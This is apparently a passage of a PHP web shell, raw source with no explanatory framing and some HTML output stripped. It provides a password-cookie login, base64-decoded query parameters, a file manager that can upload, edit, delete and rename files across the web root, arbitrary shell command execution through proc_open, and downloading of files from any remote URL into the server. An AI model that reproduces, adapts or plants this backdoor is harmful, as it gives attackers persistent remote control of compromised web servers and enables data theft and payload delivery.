'; echo ''; echo ''; exit; } if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])) { if (isset($_POST['password']) && password_verify($_POST['password'], $hashed_password)) { setcookie(md5($_SERVER['HTTP_HOST']), true, time() + 25200); } else { admin_login(); } } $timezone = date_default_timezone_get(); date_default_timezone_set($timezone); $rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']); $scriptDirectory = dirname(__FILE__); function x($b) { return base64_encode($b); } function y($b) { return base64_decode($b); } foreach ($_GET as $c => $d) $_GET[$c] = y($d); $currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); chdir($currentDirectory); $viewCommandResult = ''; $editFileContent = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload'])) { $target_file = $currentDirectory . '/' . basename($_FILES["fileToUpload"]["name"]); if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "
"; } else { echo " "; } } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $newFolder = $currentDirectory . '/' . $_POST['folder_name']; if (!file_exists($newFolder)) { mkdir($newFolder); echo " "; } else { echo " "; } } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) { $fileName = $_POST['file_name']; $newFile = $currentDirectory . '/' . $fileName; if (!file_exists($newFile)) { if (file_put_contents($newFile, $_POST['file_content']) !== false) { echo " "; } else { echo " "; } } else { if (file_put_contents($newFile, $_POST['file_content']) !== false) { echo " "; } else { echo " "; } } } elseif (isset($_POST['delete_file'])) { $fileToDelete = $currentDirectory . '/' . $_POST['delete_file']; if (file_exists($fileToDelete)) { if (is_dir($fileToDelete)) { if (deleteDirectory($fileToDelete)) { echo " "; } else { echo " "; } } else { if (unlink($fileToDelete)) { echo " "; } else { echo " "; } } } else { echo " "; } } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldName = $currentDirectory . '/' . $_POST['old_name']; $newName = $currentDirectory . '/' . $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo " "; } else { echo " "; } } else { echo " "; } } elseif (isset($_POST['xmd_input'])) { $command = $_POST['xmd_input']; $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (!empty($errors)) { $viewCommandResult = 'Result:
'; } else { $viewCommandResult = 'Result:
'; } } else { $viewCommandResult = 'Error: Failed to execute command!
'; } } elseif (isset($_POST['view_file'])) { $fileToView = $currentDirectory . '/' . $_POST['view_file']; if (file_exists($fileToView)) { $fileContent = file_get_contents($fileToView); $viewCommandResult = 'Result: ' . $_POST['view_file'] . '
'; } else { $viewCommandResult = 'Error: File not found!
'; } } elseif (isset($_POST['edit_file'])) { $fileToEdit = $currentDirectory . '/' . $_POST['edit_file']; if (file_exists($fileToEdit)) { $editFileContent = file_get_contents($fileToEdit); } else { echo " "; } } elseif (isset($_POST['save_file']) && isset($_POST['file_path'])) { $filePath = $_POST['file_path']; $fileContent = $_POST['file_content']; if (file_put_contents($filePath, $fileContent) !== false) { echo " "; } else { echo " "; } } elseif (isset($_POST['download_url']) && isset($_POST['target_file'])) { $url = $_POST['download_url']; $targetFile = $currentDirectory . '/' . $_POST['target_file']; $ch = curl_init($url); $fp = fopen($targetFile, 'w+'); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 50); curl_exec($ch); if (curl_errno($ch)) { echo " "; } else { echo " "; } curl_close($ch); fclose($fp); } } ob_end_flush(); ?>Item Name | Size | Date | Permissions | View | Edit | Delete | Rename |
---|---|---|---|---|---|---|---|
' . $dir . ' | -- | ' . date('Y-m-d H:i:s', $s['mtime']) . ' | ' . $permission . ' | ||||
' . $file . ' | ' . filesize($u) . ' | ' . date('Y-m-d H:i:s', $s['mtime']) . ' | ' . $permission . ' |